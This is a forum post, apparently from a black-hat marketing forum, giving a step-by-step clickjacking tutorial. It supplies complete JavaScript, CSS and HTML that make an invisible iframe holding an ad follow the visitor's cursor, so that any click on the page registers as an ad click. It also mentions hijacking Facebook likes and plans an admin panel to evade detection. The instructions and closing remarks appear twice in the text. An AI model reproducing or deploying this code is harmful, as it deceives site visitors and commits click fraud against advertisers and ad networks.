09-18-2012, 06:52 AM
Today we are going to go over one of my personal favorite Black hat methods called click jacking! Click jacking isn’t anything new,It has been around for a while and became popular during the early days of Facebook,You would overlay a hidden iframed like button over an image of a videos play button or something similar,So that when the visitor clicks : You get a like.Most networks defeat this by using a block of code called frame breaking (in most cases its that annoying thing your browser does when you click something,It automatically re-sizes the window/jumps around) But….There are still alot of social networks that don’t use this and i have found sometimes they do,But its in the wrong places.But what if we want to turn each visitor into an ad click? Well this works too! In this post we will go over click jacking an ad so that when any user clicks anywhere on your page you will get an ad click.
Now we can click jack ads,This code will work with a lower traffic page,But i would use it with extreme caution because your CTR would be very high and the actual traffic more than likely wont convert,So in part 2 we will add an admin panel and an option to set a % of visitors to use the click jack code.Once we have an admin panel this would be the equivalent of SharePro’s click jacking script that costs $500 per copy and I am teaching you how to create your own!
If you like my post hit the "Add Reputation" button!
Magic Button :
-We will be using basic JavaScript for appending the iframe to the cursors position and very basic HTML for the page itself (Skill Level required : Noob)
1. Upload the following javascript to the root directory of your domain and name it “follow.js” :
// Simple follow the mouse script
var divName = ‘mydiv’; // div that is to follow the mouse
// (must be position:absolute)
var offX = -75; // X offset from mouse position
var offY = -75; // Y offset from mouse position
function mouseX(evt) {if (!evt) evt = window.event; if (evt.pageX) return evt.pageX; else if (evt.clientX)return evt.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft); else return 0;}
function mouseY(evt) {if (!evt) evt = window.event; if (evt.pageY) return evt.pageY; else if (evt.clientY)return evt.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop); else return 0;}
function follow(evt) {if (document.getElementById) {var obj = document.getElementById(divName).style; obj.visibility = ‘visible’;
obj.left = (parseInt(mouseX(evt))+offX) + ‘px’;
obj.top = (parseInt(mouseY(evt))+offY) + ‘px’;}}
document.onmousemove = follow;
2. Put the following HTML into your head tag (This should be inserted into the page you wish to click jack) :
<script type="text/javascript" src="follow.js"></script>
<style type=”text/css”>
#mydiv {
position:absolute; overflow:hidden; visibility: hidden;
z-index:999; width:200px; height:250px;
background-color:#ffffcc;
opacity:0.3;
}
</style>
3. Put the following HTML in between your body tags (Same page as above):
<div id="mydiv">
<iframe id="abc" src="http://example.com/test.html" width="300px" height="300px" ></iframe>
</div>
* You should create a separate page that has your ad on it and replace “http://example.com/test.html” above with that URL.
4.Test your click jack page,Sometimes you have to change the height and width of the iframe or change the following line in the JavaScript so that it lines up with your mouse :
var offX = -75; // X offset from mouse position
var offY = -75; // Y offset from mouse position
5. Once everything is tested and works %100,Change the following line in your head tag so that our iframe will be hidden :
opacity:0.3; to opacity:0;
1. Upload the following javascript to the root directory of your domain and name it “follow.js” :
// Simple follow the mouse script
var divName = ‘mydiv’; // div that is to follow the mouse
// (must be position:absolute)
var offX = -75; // X offset from mouse position
var offY = -75; // Y offset from mouse position
function mouseX(evt) {if (!evt) evt = window.event; if (evt.pageX) return evt.pageX; else if (evt.clientX)return evt.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft); else return 0;}
function mouseY(evt) {if (!evt) evt = window.event; if (evt.pageY) return evt.pageY; else if (evt.clientY)return evt.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop); else return 0;}
function follow(evt) {if (document.getElementById) {var obj = document.getElementById(divName).style; obj.visibility = ‘visible’;
obj.left = (parseInt(mouseX(evt))+offX) + ‘px’;
obj.top = (parseInt(mouseY(evt))+offY) + ‘px’;}}
document.onmousemove = follow;
2. Put the following HTML into your head tag (This should be inserted into the page you wish to click jack) :
<script type="text/javascript" src="follow.js"></script>
<style type=”text/css”>
#mydiv {
position:absolute; overflow:hidden; visibility: hidden;
z-index:999; width:200px; height:250px;
background-color:#ffffcc;
opacity:0.3;
}
</style>
3. Put the following HTML in between your body tags (Same page as above):
<div id="mydiv">
<iframe id="abc" src="http://example.com/test.html" width="300px" height="300px" ></iframe>
</div>
* You should create a separate page that has your ad on it and replace “http://example.com/test.html” above with that URL.
4.Test your click jack page,Sometimes you have to change the height and width of the iframe or change the following line in the JavaScript so that it lines up with your mouse :
var offX = -75; // X offset from mouse position
var offY = -75; // Y offset from mouse position
5. Once everything is tested and works %100,Change the following line in your head tag so that our iframe will be hidden :
opacity:0.3; to opacity:0;
Now we can click jack ads,This code will work with a lower traffic page,But i would use it with extreme caution because your CTR would be very high and the actual traffic more than likely wont convert,So in part 2 we will add an admin panel and an option to set a % of visitors to use the click jack code.Once we have an admin panel this would be the equivalent of SharePro’s click jacking script that costs $500 per copy and I am teaching you how to create your own!
If you like my post hit the "Add Reputation" button!
